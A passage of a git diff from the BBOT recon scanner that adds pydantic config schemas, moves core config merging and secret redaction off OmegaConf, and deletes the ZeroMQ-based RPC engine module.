+    # Module runtime
+    module_handle_event_timeout: Optional[int] = None
+    module_handle_batch_timeout: Optional[int] = None
+
+    # Internal module toggles (hardcoded because they're first-class scan
+    # pipeline features; the set changes rarely)
+    speculate: Optional[bool] = None
+    excavate: Optional[bool] = None
+    aggregate: Optional[bool] = None
+    dnsresolve: Optional[bool] = None
+    cloudcheck: Optional[bool] = None
+    unarchive: Optional[bool] = None
+    python: Optional[bool] = None
+
+    # URL handling
+    url_querystring_remove: Optional[bool] = None
+    url_querystring_collapse: Optional[bool] = None
+    url_extension_blacklist: Optional[list[str]] = None
+    url_extension_special: Optional[list[str]] = None
+    url_extension_static: Optional[list[str]] = None
+
+    # Parameter handling
+    parameter_blacklist: Optional[list[str]] = None
+    parameter_blacklist_prefixes: Optional[list[str]] = None
+
+    # Event output filter
+    omit_event_types: Optional[list[str]] = None
+
+    # Interactsh
+    interactsh_server: Optional[str] = None
+    interactsh_token: Optional[str] = Field(default=None, sensitive=True)
+    interactsh_disable: Optional[bool] = None
+
+    # bbot.io API key (used by the asn helper)
+    bbot_io_api_key: Optional[str] = Field(default=None, sensitive=True)
+
+    _validate_interactsh_server = field_validator("interactsh_server")(validate_fqdn_or_ip)
+
+    # Per-module configs — validated separately, per-module, against each
+    # module's own `class Config(BaseModuleConfig)`.
+    modules: Optional[dict[str, dict[str, Any]]] = None
+
+
+class PresetSchema(BaseModel):
+    """
+    Schema for the top-level keys in a preset YAML file. Catches typos like
+    `modlues:` or `flgas:` at load time.
+
+    `target`/`targets` and `include`/`presets` are aliases; both are accepted.
+    The `config` key is validated separately as `BBOTConfig`.
+    """
+
+    model_config = ConfigDict(
+        extra="forbid",
+        populate_by_name=True,
+    )
+
+    target: Optional[list[str]] = None
+    targets: Optional[list[str]] = None
+    seeds: Optional[list[str]] = None
+    blacklist: Optional[list[str]] = None
+
+    modules: Optional[list[str]] = None
+    output_modules: Optional[list[str]] = None
+    exclude_modules: Optional[list[str]] = None
+    exclude_output_modules: Optional[list[str]] = None
+    flags: Optional[list[str]] = None
+    require_flags: Optional[list[str]] = None
+    exclude_flags: Optional[list[str]] = None
+
+    config: Optional[dict[str, Any]] = None
+    module_dirs: Optional[list[str]] = None
+
+    include: Optional[list[str]] = None
+    presets: Optional[list[str]] = None
+
+    scan_name: Optional[str] = None
+    output_dir: Optional[str] = None
+    name: Optional[str] = None
+    description: Optional[str] = None
+
+    conditions: Optional[list[str]] = None
+
+    verbose: Optional[bool] = None
+    debug: Optional[bool] = None
+    silent: Optional[bool] = None
+
+
+__all__ = [
+    "BBOTConfig",
+    "BaseModuleConfig",
+    "ConfidenceLiteral",
+    "DepsConfig",
+    "DepsToolConfig",
+    "DnsConfig",
+    "EngineConfig",
+    "Field",
+    "PresetSchema",
+    "ScopeConfig",
+    "SeverityLiteral",
+    "WebConfig",
+    "coerce_config",
+    "coerce_value",
+    "field_flags",
+    "is_mandatory",
+    "is_sensitive",
+    "partition_sensitive_config",
+]
diff --git a/bbot/core/core.py b/bbot/core/core.py
index 5814052771..983d489d0f 100644
--- a/bbot/core/core.py
+++ b/bbot/core/core.py
@@ -1,15 +1,14 @@
 import os
 import logging
-from copy import copy
+from copy import copy, deepcopy
 from pathlib import Path
-from contextlib import suppress
-from omegaconf import OmegaConf
 
 from bbot.errors import BBOTError
+from .config.merge import deep_merge
 from .multiprocess import SHARED_INTERPRETER_STATE
 
 
-DEFAULT_CONFIG = None
+DEFAULT_CONFIG: dict | None = None
 
 
 class BBOTCore:
@@ -26,20 +25,21 @@ class BBOTCore:
     - load quickly
     """
 
-    # used for filtering out sensitive config values
-    secrets_strings = ["api_key", "username", "password", "token", "secret", "_id"]
-    # don't filter/remove entries under this key
-    secrets_exclude_keys = ["modules"]
-
     def __init__(self):
         self._logger = None
         self._files_config = None
 
-        self._config = None
-        self._custom_config = None
+        self._config: dict | None = None
+        self._custom_config: dict | None = None
 
         # bare minimum == logging
-        self.logger
+        try:
+            self.logger
+        except BBOTError as e:
+            import sys
+
+            print(f"\n[CRITICAL] {e}\n", file=sys.stderr)
+            sys.exit(1)
         self.log = logging.getLogger("bbot.core")
 
         self._prep_multiprocessing()
@@ -85,22 +85,20 @@ def scans_dir(self):
         return self.home / "scans"
 
     @property
-    def config(self):
+    def config(self) -> dict:
         """
-        .config is just .default_config + .custom_config merged together
+        .config is just .default_config + .custom_config merged together.
 
-        any new values should be added to custom_config.
+        Any new values should be added to custom_config.
         """
         if self._config is None:
-            self._config = OmegaConf.merge(self.default_config, self.custom_config)
-            # set read-only flag (change .custom_config instead)
-            OmegaConf.set_readonly(self._config, True)
+            self._config = deep_merge(self.default_config, self.custom_config)
         return self._config
 
     @property
-    def default_config(self):
+    def default_config(self) -> dict:
         """
-        The default BBOT config (from `defaults.yml`). Read-only.
+        The default BBOT config (from `defaults.yml`).
         """
         global DEFAULT_CONFIG
         if DEFAULT_CONFIG is None:
@@ -111,16 +109,14 @@ def default_config(self):
         return DEFAULT_CONFIG
 
     @default_config.setter
-    def default_config(self, value):
+    def default_config(self, value: dict):
         # we temporarily clear out the config so it can be refreshed if/when default_config changes
         global DEFAULT_CONFIG
         self._config = None
-        DEFAULT_CONFIG = value
-        # set read-only flag (change .custom_config instead)
-        OmegaConf.set_readonly(DEFAULT_CONFIG, True)
+        DEFAULT_CONFIG = dict(value) if value else {}
 
     @property
-    def custom_config(self):
+    def custom_config(self) -> dict:
         """
         Custom BBOT config (from `~/.config/bbot/bbot.yml`)
         """
@@ -131,59 +127,59 @@ def custom_config(self):
         return self._custom_config
 
     @custom_config.setter
-    def custom_config(self, value):
-        # we temporarily clear out the config so it can be refreshed if/when custom_config changes
+    def custom_config(self, value: dict):
         self._config = None
-        # ensure the modules key is always a dictionary
-        modules_entry = value.get("modules", None)
-        if modules_entry is not None and not OmegaConf.is_dict(modules_entry):
-            value["modules"] = {}
-        self._custom_config = value
+        self._custom_config = dict(value) if value else {}
 
     def no_secrets_config(self, config):
-        from .helpers.misc import clean_dict
+        """Return a copy of `config` with every `sensitive=True` field removed.
 
-        with suppress(ValueError):
-            config = OmegaConf.to_object(config)
+        Sensitivity is read from the per-field `json_schema_extra["sensitive"]`
+        flag declared on `BBOTConfig` (and each module's `class Config`).
+        Module-level redaction uses the composite schema built lazily by
+        `MODULE_LOADER.config_schema`; if a key isn't covered by any schema
+        (e.g. an unknown module), it passes through unchanged.
+        """
+        from .config.models import partition_sensitive_config
 
-        return clean_dict(
-            config,
-            *self.secrets_strings,
-            fuzzy=True,
-            exclude_keys=self.secrets_exclude_keys,
-        )
+        return partition_sensitive_config(config, self._config_schema(), keep_sensitive=False)
 
     def secrets_only_config(self, config):
-        from .helpers.misc import filter_dict
+        """Return a copy of `config` containing only `sensitive=True` fields.
+
+        Inverse of `no_secrets_config()`. Useful for splitting a merged config
+        into a public `bbot.yml` and a private `secrets.yml`.
+        """
+        from .config.models import partition_sensitive_config
 
-        with suppress(ValueError):
-            config = OmegaConf.to_object(config)
+        return partition_sensitive_config(config, self._config_schema(), keep_sensitive=True)
 
-        return filter_dict(
-            config,
-            *self.secrets_strings,
-            fuzzy=True,
-            exclude_keys=self.secrets_exclude_keys,
-        )
+    def _config_schema(self):
+        """Resolve the runtime BBOTConfig schema (with per-module configs)."""
+        try:
+            from bbot.core.modules import MODULE_LOADER
+
+            return MODULE_LOADER.config_schema
+        except Exception:
+            from .config.models import BBOTConfig
+
+            return BBOTConfig
 
     def merge_custom(self, config):
-        """
-        Merge a config into the custom config.
-        """
-        self.custom_config = OmegaConf.merge(self.custom_config, OmegaConf.create(config))
+        """Merge a config dict into the custom config."""
+        self.custom_config = deep_merge(self.custom_config, dict(config) if config else {})
 
     def merge_default(self, config):
-        """
-        Merge a config into the default config.
-        """
-        self.default_config = OmegaConf.merge(self.default_config, OmegaConf.create(config))
+        """Merge a config dict into the default config."""
+        self.default_config = deep_merge(self.default_config, dict(config) if config else {})
 
     def copy(self):
         """
         Return a semi-shallow copy of self. (`custom_config` is copied, but `default_config` stays the same)
         """
         core_copy = copy(self)
-        core_copy._custom_config = self._custom_config.copy()
+        core_copy._custom_config = deepcopy(self._custom_config) if self._custom_config else {}
+        core_copy._config = None
         return core_copy
 
     @property
diff --git a/bbot/core/engine.py b/bbot/core/engine.py
deleted file mode 100644
index d7c821a333..0000000000
--- a/bbot/core/engine.py
+++ /dev/null
@@ -1,687 +0,0 @@
-import os
-import sys
-import zmq
-import pickle
-import asyncio
-import inspect
-import logging
-import tempfile
-import traceback
-import contextlib
-import contextvars
-import zmq.asyncio
-import multiprocessing
-from pathlib import Path
-from concurrent.futures import CancelledError
-from contextlib import asynccontextmanager, suppress
-
-from bbot.core import CORE
-from bbot.errors import BBOTEngineError
-from bbot.core.helpers.async_helpers import get_event_loop
-from bbot.core.multiprocess import SHARED_INTERPRETER_STATE
-from bbot.core.helpers.misc import rand_string, in_exception_chain
-
-
-error_sentinel = object()
-
-
-class EngineBase:
-    """
-    Base Engine class for Server and Client.
-
-    An Engine is a simple and lightweight RPC implementation that allows offloading async tasks
-    to a separate process. It leverages ZeroMQ in a ROUTER-DEALER configuration.
-
-    BBOT makes use of this by spawning a dedicated engine for DNS and HTTP tasks.
-    This offloads I/O and helps free up the main event loop for other tasks.
-
-    To use Engine, you must subclass both EngineClient and EngineServer.
-
-    See the respective EngineClient and EngineServer classes for usage examples.
-    """
-
-    ERROR_CLASS = BBOTEngineError
-
-    def __init__(self, debug=False):
-        self._shutdown_status = False
-        self.log = logging.getLogger(f"bbot.core.{self.__class__.__name__.lower()}")
-        self._engine_debug = debug
-
-    def pickle(self, obj):
-        try:
-            return pickle.dumps(obj)
-        except Exception as e:
-            self.log.error(f"Error serializing object: {obj}: {e}")
-            self.log.trace(traceback.format_exc())
-        return error_sentinel
-
-    def unpickle(self, binary):
-        try:
-            return pickle.loads(binary)
-        except Exception as e:
-            self.log.error(f"Error deserializing binary: {e}")
-            self.log.trace(f"Offending binary: {binary}")
-            self.log.trace(traceback.format_exc())
-        return error_sentinel
-
-    async def _infinite_retry(self, callback, *args, **kwargs):
-        interval = kwargs.pop("_interval", 300)
-        context = kwargs.pop("_context", "")
-        # default overall timeout of 10 minutes (300 second interval * 2 iterations)
-        max_retries = kwargs.pop("_max_retries", 1)
-        if not context:
-            context = f"{callback.__name__}({args}, {kwargs})"
-        retries = 0
-        while not self._shutdown_status:
-            try:
-                return await asyncio.wait_for(callback(*args, **kwargs), timeout=interval)
-            except (TimeoutError, asyncio.exceptions.TimeoutError):
-                self.log.debug(f"{self.name}: Timeout after {interval:,} seconds {context}, retrying...")
-                retries += 1
-                if max_retries is not None and retries > max_retries:
-                    raise TimeoutError(f"Timed out after {(max_retries + 1) * interval:,} seconds {context}")
-
-    def engine_debug(self, *args, **kwargs):
-        if self._engine_debug:
-            self.log.trace(*args, **kwargs)
-
-
-class EngineClient(EngineBase):
-    """
-    The client portion of BBOT's RPC Engine.
-
-    To create an engine, you must create a subclass of this class and also
-    define methods for each of your desired functions.
-
-    Note that this only supports async functions. If you need to offload a synchronous function to another CPU, use BBOT's multiprocessing pool instead.
-
-    Any CPU or I/O intense logic should be implemented in the EngineServer.
-
-    These functions are typically stubs whose only job is to forward the arguments to the server.
-
-    Functions with the same names should be defined on the EngineServer.
-
-    The EngineClient must specify its associated server class via the `SERVER_CLASS` variable.
-
-    Depending on whether your function is a generator, you will use either `run_and_return()`, or `run_and_yield`.
-
-    Examples:
-        >>> from bbot.core.engine import EngineClient
-        >>>
-        >>> class MyClient(EngineClient):
-        >>>     SERVER_CLASS = MyServer
-        >>>
-        >>>     async def my_function(self, **kwargs)
-        >>>         return await self.run_and_return("my_function", **kwargs)
-        >>>
-        >>>     async def my_generator(self, **kwargs):
-        >>>         async for _ in self.run_and_yield("my_generator", **kwargs):
-        >>>             yield _
-    """
-
-    SERVER_CLASS = None
-
-    def __init__(self, debug=False, **kwargs):
-        self.name = f"EngineClient {self.__class__.__name__}"
-        super().__init__(debug=debug)
-        self.process = None
-        if self.SERVER_CLASS is None:
-            raise ValueError(f"Must set EngineClient SERVER_CLASS, {self.SERVER_CLASS}")
-        self.CMDS = dict(self.SERVER_CLASS.CMDS)
-        for k, v in list(self.CMDS.items()):
-            self.CMDS[v] = k
-        self.socket_address = f"zmq_{rand_string(8)}.sock"
-        self.socket_path = Path(tempfile.gettempdir()) / self.socket_address
-        self.server_kwargs = kwargs.pop("server_kwargs", {})
-        self._server_process = None
-        self.context = zmq.asyncio.Context()
-        self.context.setsockopt(zmq.LINGER, 0)
-        self.sockets = set()
-
-    def check_error(self, message):
-        if isinstance(message, dict) and len(message) == 1 and "_e" in message:
-            self.engine_debug(f"{self.name}: got error message: {message}")
-            error, trace = message["_e"]
-            error = self.ERROR_CLASS(error)
-            error.engine_traceback = trace
-            self.engine_debug(f"{self.name}: raising {error.__class__.__name__}")
-            raise error
-        return False
-
-    async def run_and_return(self, command, *args, **kwargs):
-        fn_str = f"{command}({args}, {kwargs})"
-        self.engine_debug(f"{self.name}: executing run-and-return {fn_str}")
-        if self._shutdown_status and not command == "_shutdown":
-            self.log.verbose(f"{self.name} has been shut down and is not accepting new tasks")
-            return
-        async with self.new_socket() as socket:
-            try:
-                message = self.make_message(command, args=args, kwargs=kwargs)
-                if message is error_sentinel:
-                    return
-                await socket.send(message)
-                binary = await self._infinite_retry(socket.recv, _context=f"waiting for return value from {fn_str}")
-            except BaseException:
-                try:
-                    await self.send_cancel_message(socket, fn_str)
-                except Exception:
-                    self.log.debug(f"{self.name}: {fn_str} failed to send cancel message after exception")
-                    self.log.trace(traceback.format_exc())
-                raise
-        # self.log.debug(f"{self.name}.{command}({kwargs}) got binary: {binary}")
-        message = self.unpickle(binary)
-        self.engine_debug(f"{self.name}: {fn_str} got return value: {message}")
-        # error handling
-        if self.check_error(message):
-            return
-        return message
-
-    async def run_and_yield(self, command, *args, **kwargs):
-        fn_str = f"{command}({args}, {kwargs})"
-        self.engine_debug(f"{self.name}: executing run-and-yield {fn_str}")
-        if self._shutdown_status:
-            self.log.verbose("Engine has been shut down and is not accepting new tasks")
-            return
-        message = self.make_message(command, args=args, kwargs=kwargs)
-        if message is error_sentinel:
-            return
-        async with self.new_socket() as socket:
-            # TODO: synchronize server-side generator by limiting qsize
-            # socket.setsockopt(zmq.RCVHWM, 1)
-            # socket.setsockopt(zmq.SNDHWM, 1)
-            await socket.send(message)
-            while 1:
-                try:
-                    binary = await self._infinite_retry(
-                        socket.recv, _context=f"waiting for new iteration from {fn_str}"
-                    )
-                    # self.log.debug(f"{self.name}.{command}({kwargs}) got binary: {binary}")
-                    message = self.unpickle(binary)
-                    self.engine_debug(f"{self.name}: {fn_str} got iteration: {message}")
-                    # error handling
-                    if self.check_error(message) or self.check_stop(message):
-                        break
-                    yield message
-                except (StopAsyncIteration, GeneratorExit) as e:
-                    exc_name = e.__class__.__name__
-                    self.engine_debug(f"{self.name}.{command} got {exc_name}")
-                    try:
-                        await self.send_cancel_message(socket, fn_str)
-                    except Exception:
-                        self.engine_debug(f"{self.name}.{command} failed to send cancel message after {exc_name}")
-                        self.log.trace(traceback.format_exc())
-                    break
-
-    async def send_cancel_message(self, socket, context):
-        """
-        Send a cancel message and wait for confirmation from the server
-        """
-        # -1 == special "cancel" signal
-        message = pickle.dumps({"c": -1})
-        await self._infinite_retry(socket.send, message)
-        while 1:
-            response = await self._infinite_retry(
-                socket.recv, _context=f"waiting for CANCEL_OK from {context}", _max_retries=4
-            )
-            response = pickle.loads(response)
-            if isinstance(response, dict):
-                response = response.get("m", "")
-                if response == "CANCEL_OK":
-                    break
-
-    async def send_shutdown_message(self):
-        async with self.new_socket() as socket:
-            # -99 == special shutdown message
-            message = pickle.dumps({"c": -99})
-            with suppress(TimeoutError, asyncio.exceptions.TimeoutError):
-                await asyncio.wait_for(socket.send(message), 0.5)
-            with suppress(TimeoutError, asyncio.exceptions.TimeoutError):
-                while 1:
-                    response = await asyncio.wait_for(socket.recv(), 0.5)
-                    response = pickle.loads(response)
-                    if isinstance(response, dict):
-                        response = response.get("m", "")
-                        if response == "SHUTDOWN_OK":
-                            break
-
-    def check_stop(self, message):
-        if isinstance(message, dict) and len(message) == 1 and "_s" in message:
-            return True
-        return False
-
-    def make_message(self, command, args=None, kwargs=None):
-        try:
-            cmd_id = self.CMDS[command]
-        except KeyError:
-            raise KeyError(f'Command "{command}" not found. Available commands: {",".join(self.available_commands)}')
-        message = {"c": cmd_id}
-        if args:
-            message["a"] = args
-        if kwargs:
-            message["k"] = kwargs
-        return pickle.dumps(message)
-
-    @property
-    def available_commands(self):
-        return [s for s in self.CMDS if isinstance(s, str)]
-
-    def start_server(self):
-        process_name = multiprocessing.current_process().name
-        if SHARED_INTERPRETER_STATE.is_scan_process:
-            kwargs = dict(self.server_kwargs)
-            # if we're in tests, we use a single event loop to avoid weird race conditions
-            # this allows us to more easily mock http, etc.
-            if os.environ.get("BBOT_TESTING", "") == "True":
-                kwargs["_loop"] = get_event_loop()
-            kwargs["debug"] = self._engine_debug
-            self.process = CORE.create_process(
-                target=self.server_process,
-                args=(
-                    self.SERVER_CLASS,
-                    self.socket_path,
-                ),
-                kwargs=kwargs,
-                custom_name=f"BBOT {self.__class__.__name__}",
-            )
-            self.process.start()
-            return self.process
-        else:
-            raise BBOTEngineError(
-                f"Tried to start server from process {process_name}. Did you forget \"if __name__ == '__main__'?\""
-            )
-
-    @staticmethod
-    def server_process(server_class, socket_path, **kwargs):
-        try:
-            loop = kwargs.pop("_loop", None)
-            engine_server = server_class(socket_path, **kwargs)
-            if loop is not None:
-                future = asyncio.run_coroutine_threadsafe(engine_server.worker(), loop)
-                future.result()
-            else:
-                asyncio.run(engine_server.worker())
-        except (asyncio.CancelledError, KeyboardInterrupt, CancelledError):
-            return
-        except Exception:
-            import traceback
-
-            log = logging.getLogger("bbot.core.engine.server")
-            log.critical(f"Unhandled error in {server_class.__name__} server process: {traceback.format_exc()}")
-
-    @asynccontextmanager
-    async def new_socket(self):
-        if self._server_process is None:
-            self._server_process = self.start_server()
-            while not self.socket_path.exists():
-                self.engine_debug(f"{self.name}: waiting for server process to start...")
-                await asyncio.sleep(0.1)
-        socket = self.context.socket(zmq.DEALER)
-        socket.setsockopt(zmq.LINGER, 0)  # Discard pending messages immediately disconnect() or close()
-        socket.setsockopt(zmq.SNDHWM, 0)  # Unlimited send buffer
-        socket.setsockopt(zmq.RCVHWM, 0)  # Unlimited receive buffer
-        socket.connect(f"ipc://{self.socket_path}")
-        self.sockets.add(socket)
-        try:
-            yield socket
-        finally:
-            self.sockets.remove(socket)
-            with suppress(Exception):
-                socket.close()
-
-    async def shutdown(self):
-        if not self._shutdown_status:
-            self._shutdown_status = True
-            self.log.verbose(f"{self.name}: shutting down...")
-            # send shutdown signal
-            await self.send_shutdown_message()
-            # then terminate context
-            try:
-                self.context.destroy(linger=0)
-            except Exception:
-                print(traceback.format_exc(), file=sys.stderr)
-            try:
-                self.context.term()
-            except Exception:
-                print(traceback.format_exc(), file=sys.stderr)
-            # delete socket file on exit
-            self.socket_path.unlink(missing_ok=True)
-
-
-class EngineServer(EngineBase):
-    """
-    The server portion of BBOT's RPC Engine.
-
-    Methods defined here must match the methods in your EngineClient.
-
-    To use the functions, you must create mappings for them in the CMDS attribute, as shown below.
-
-    Examples:
-        >>> from bbot.core.engine import EngineServer
-        >>>
-        >>> class MyServer(EngineServer):
-        >>>     CMDS = {
-        >>>         0: "my_function",
-        >>>         1: "my_generator",
-        >>>     }
-        >>>
-        >>>     def my_function(self, arg1=None):
-        >>>         await asyncio.sleep(1)
-        >>>         return str(arg1)
-        >>>
-        >>>     def my_generator(self):
-        >>>         for i in range(10):
-        >>>             await asyncio.sleep(1)
-        >>>             yield i
-    """
-
-    CMDS = {}
-
-    def __init__(self, socket_path, debug=False):
-        self.name = f"EngineServer {self.__class__.__name__}"
-        super().__init__(debug=debug)
-        self.engine_debug(f"{self.name}: finished setup 1 (_debug={self._engine_debug})")
-        self.socket_path = socket_path
-        self.client_id_var = contextvars.ContextVar("client_id", default=None)
-        # task <--> client id mapping
-        self.tasks = {}
-        # child tasks spawned by main tasks
-        self.child_tasks = {}
-        self.engine_debug(f"{self.name}: finished setup 2 (_debug={self._engine_debug})")
-        if self.socket_path is not None:
-            # create ZeroMQ context
-            self.context = zmq.asyncio.Context()
-            # ROUTER socket can handle multiple concurrent requests
-            self.socket = self.context.socket(zmq.ROUTER)
-            self.socket.setsockopt(zmq.LINGER, 0)  # Discard pending messages immediately disconnect() or close()
-            self.socket.setsockopt(zmq.SNDHWM, 0)  # Unlimited send buffer
-            self.socket.setsockopt(zmq.RCVHWM, 0)  # Unlimited receive buffer
-            # create socket file
-            self.socket.bind(f"ipc://{self.socket_path}")
-        self.engine_debug(f"{self.name}: finished setup 3 (_debug={self._engine_debug})")
-
-    @contextlib.contextmanager
-    def client_id_context(self, value):
-        token = self.client_id_var.set(value)
-        try:
-            yield
-        finally:
-            self.client_id_var.reset(token)
-
-    async def run_and_return(self, client_id, command_fn, *args, **kwargs):
-        fn_str = f"{command_fn.__name__}({args}, {kwargs})"
-        self.engine_debug(fn_str)
-        with self.client_id_context(client_id):
-            try:
-                self.engine_debug(f"{self.name}: starting run-and-return {fn_str}")
-                try:
-                    result = await command_fn(*args, **kwargs)
-                except BaseException as e:
-                    if in_exception_chain(e, (KeyboardInterrupt, asyncio.CancelledError)):
-                        log_fn = self.log.debug
-                    else:
-                        log_fn = self.log.error
-                    error = f"{self.name}: error in {fn_str}: {e}"
-                    trace = traceback.format_exc()
-                    log_fn(error)
-                    self.log.trace(trace)
-                    result = {"_e": (error, trace)}
-                finally:
-                    self.tasks.pop(client_id, None)
-                    self.engine_debug(f"{self.name}: sending response to {fn_str}: {result}")
-                    await self.send_socket_multipart(client_id, result)
-            except BaseException as e:
-                self.log.critical(
-                    f"Unhandled exception in {self.name}.run_and_return({client_id}, {command_fn}, {args}, {kwargs}): {e}"
-                )
-                self.log.critical(traceback.format_exc())
-            finally:
-                self.engine_debug(f"{self.name} finished run-and-return {fn_str}")
-
-    async def run_and_yield(self, client_id, command_fn, *args, **kwargs):
-        fn_str = f"{command_fn.__name__}({args}, {kwargs})"
-        with self.client_id_context(client_id):
-            try:
-                self.engine_debug(f"{self.name}: starting run-and-yield {fn_str}")
-                try:
-                    async for _ in command_fn(*args, **kwargs):
-                        self.engine_debug(f"{self.name}: sending iteration for {fn_str}: {_}")
-                        await self.send_socket_multipart(client_id, _)
-                except BaseException as e:
-                    if in_exception_chain(e, (KeyboardInterrupt, asyncio.CancelledError)):
-                        log_fn = self.log.debug
-                    else:
-                        log_fn = self.log.error
-                    error = f"{self.name}: error in {fn_str}: {e}"
-                    trace = traceback.format_exc()
-                    log_fn(error)
-                    self.log.trace(trace)
-                    result = {"_e": (error, trace)}
-                    await self.send_socket_multipart(client_id, result)
-                finally:
-                    self.engine_debug(f"{self.name}: reached end of run-and-yield iteration for {fn_str}")
-                    # _s == special signal that means StopIteration
-                    await self.send_socket_multipart(client_id, {"_s": None})
-                    self.tasks.pop(client_id, None)
-            except BaseException as e:
-                self.log.critical(
-                    f"Unhandled exception in {self.name}.run_and_yield({client_id}, {command_fn}, {args}, {kwargs}): {e}"
-                )
-                self.log.critical(traceback.format_exc())
-            finally:
-                self.engine_debug(f"{self.name}: finished run-and-yield {fn_str}")
-
-    async def send_socket_multipart(self, client_id, message):
-        try:
-            message = pickle.dumps(message)
-            await self._infinite_retry(self.socket.send_multipart, [client_id, message])
-        except Exception as e:
-            self.log.verbose(f"{self.name}: error sending ZMQ message: {e}")
-            self.log.trace(traceback.format_exc())
-
-    def check_error(self, message):
-        if message is error_sentinel:
-            return True
-
-    async def worker(self):
-        self.engine_debug(f"{self.name}: starting worker")
-        try:
-            while 1:
-                client_id, binary = await self.socket.recv_multipart()
-                message = self.unpickle(binary)
-                self.engine_debug(f"{self.name} got message: {message}")
-                if self.check_error(message):
-                    continue
-
-                cmd = message.get("c", None)
-                if not isinstance(cmd, int):
-                    self.log.warning(f"{self.name}: no command sent in message: {message}")
-                    continue
-
-                # -1 == cancel task
-                if cmd == -1:
-                    self.engine_debug(f"{self.name} got cancel signal")
-                    await self.send_socket_multipart(client_id, {"m": "CANCEL_OK"})
-                    await self.cancel_task(client_id)
-                    continue
-
-                # -99 == shutdown task
-                if cmd == -99:
-                    self.log.verbose(f"{self.name} got shutdown signal")
-                    await self.send_socket_multipart(client_id, {"m": "SHUTDOWN_OK"})
-                    await self._shutdown()
-                    return
-
-                args = message.get("a", ())
-                if not isinstance(args, tuple):
-                    self.log.warning(f"{self.name}: received invalid args of type {type(args)}, should be tuple")
-                    continue
-                kwargs = message.get("k", {})
-                if not isinstance(kwargs, dict):
-                    self.log.warning(f"{self.name}: received invalid kwargs of type {type(kwargs)}, should be dict")
-                    continue
-
-                command_name = self.CMDS[cmd]
-                command_fn = getattr(self, command_name, None)
-
-                if command_fn is None:
-                    self.log.warning(f'{self.name} has no function named "{command_fn}"')
-                    continue
-
-                if inspect.isasyncgenfunction(command_fn):
-                    self.engine_debug(f"{self.name}: creating run-and-yield coroutine for {command_name}()")
-                    coroutine = self.run_and_yield(client_id, command_fn, *args, **kwargs)
-                else:
-                    self.engine_debug(f"{self.name}: creating run-and-return coroutine for {command_name}()")
-                    coroutine = self.run_and_return(client_id, command_fn, *args, **kwargs)
-
-                self.engine_debug(f"{self.name}: creating task for {command_name}() coroutine")
-                task = asyncio.create_task(coroutine)
-                self.tasks[client_id] = task, command_fn, args, kwargs
-                self.engine_debug(f"{self.name}: finished creating task for {command_name}() coroutine")
-        except BaseException as e:
-            await self._shutdown()
-            if not in_exception_chain(e, (KeyboardInterrupt, asyncio.CancelledError)):
-                self.log.error(f"{self.name}: error in EngineServer worker: {e}")
-                self.log.trace(traceback.format_exc())
-        finally:
-            self.engine_debug(f"{self.name}: finished worker()")
-
-    async def _shutdown(self):
-        if not self._shutdown_status:
-            self.log.verbose(f"{self.name}: shutting down...")
-            self._shutdown_status = True
-            await self.cancel_all_tasks()
-            context = getattr(self, "context", None)
-            if context is not None:
-                try:
-                    context.destroy(linger=0)
-                except Exception:
-                    self.log.trace(traceback.format_exc())
-                try:
-                    context.term()
-                except Exception:
-                    self.log.trace(traceback.format_exc())
-            self.log.verbose(f"{self.name}: finished shutting down")
-
-    async def task_pool(self, fn, args_kwargs, threads=10, timeout=300, global_kwargs=None):
-        if global_kwargs is None:
-            global_kwargs = {}
-
-        tasks = {}
-        args_kwargs = list(args_kwargs)
-
-        def new_task():
-            if args_kwargs:
-                kwargs = {}
-                tracker = None
-                args = args_kwargs.pop(0)
-                if isinstance(args, (list, tuple)):
-                    # you can specify a custom tracker value if you want
-                    # this helps with correlating results
-                    with suppress(ValueError):
-                        args, kwargs, tracker = args
-                    # or you can just specify args/kwargs
-                    with suppress(ValueError):
-                        args, kwargs = args
-
-                if not isinstance(kwargs, dict):
-                    raise ValueError(f"kwargs must be dict (got: {kwargs})")
-                if not isinstance(args, (list, tuple)):
-                    args = [args]
-
-                task = self.new_child_task(fn(*args, **kwargs, **global_kwargs))
-                tasks[task] = (args, kwargs, tracker)
-
-        for _ in range(threads):  # Start initial batch of tasks
-            new_task()
-
-        while tasks:  # While there are tasks pending
-            # Wait for the first task to complete
-            finished = await self.finished_tasks(tasks, timeout=timeout)
-            for task in finished:
-                result = task.result()
-                (args, kwargs, tracker) = tasks.pop(task)
-                yield (args, kwargs, tracker), result
-                new_task()
-
-    def new_child_task(self, coro):
-        """
-        Create a new asyncio task, making sure to track it based on the client id.
-
-        This allows the task to be automatically cancelled if its parent is cancelled.
-        """
-        client_id = self.client_id_var.get()
-        task = asyncio.create_task(coro)
-
-        if client_id:
-
-            def remove_task(t):
-                tasks = self.child_tasks.get(client_id, set())
-                tasks.discard(t)
-                if not tasks:
-                    self.child_tasks.pop(client_id, None)
-
-            task.add_done_callback(remove_task)
-
-            try:
-                self.child_tasks[client_id].add(task)
-            except KeyError:
-                self.child_tasks[client_id] = {task}
-
-        return task
-
-    async def finished_tasks(self, tasks, timeout=None):
-        """
-        Given a list of asyncio tasks, return the ones that are finished with an optional timeout
-        """
-        if tasks:
-            try:
-                done, _ = await asyncio.wait(tasks, return_when=asyncio.FIRST_COMPLETED, timeout=timeout)
-                return done
-            except BaseException as e:
-                if isinstance(e, (TimeoutError, asyncio.exceptions.TimeoutError)):
-                    self.log.warning(f"{self.name}: Timeout after {timeout:,} seconds in finished_tasks({tasks})")
-                    for task in list(tasks):
-                        task.cancel()
-                        self._await_cancelled_task(task)
-                else:
-                    if not in_exception_chain(e, (KeyboardInterrupt, asyncio.CancelledError)):
-                        self.log.error(f"{self.name}: Unhandled exception in finished_tasks({tasks}): {e}")
-                        self.log.trace(traceback.format_exc())
-                    raise
-        return set()
-
-    async def cancel_task(self, client_id):
-        parent_task = self.tasks.pop(client_id, None)
-        if parent_task is None:
-            return
-        parent_task, _cmd, _args, _kwargs = parent_task
-        self.engine_debug(f"{self.name}: Cancelling client id {client_id} (task: {parent_task})")
-        parent_task.cancel()
-        child_tasks = self.child_tasks.pop(client_id, set())
-        if child_tasks:
-            self.engine_debug(f"{self.name}: Cancelling {len(child_tasks):,} child tasks for client id {client_id}")
-            for child_task in child_tasks:
-                child_task.cancel()
-
-        for task in [parent_task] + list(child_tasks):
-            await self._await_cancelled_task(task)
-
-    async def _await_cancelled_task(self, task):
-        try:
-            await asyncio.wait_for(task, timeout=10)
-        except (TimeoutError, asyncio.exceptions.TimeoutError):
-            self.log.trace(f"{self.name}: Timeout cancelling task: {task}")
-            return
-        except (KeyboardInterrupt, asyncio.CancelledError):
-            return
-        except BaseException as e:
-            self.log.error(f"Unhandled error in {task.get_coro().__name__}(): {e}")
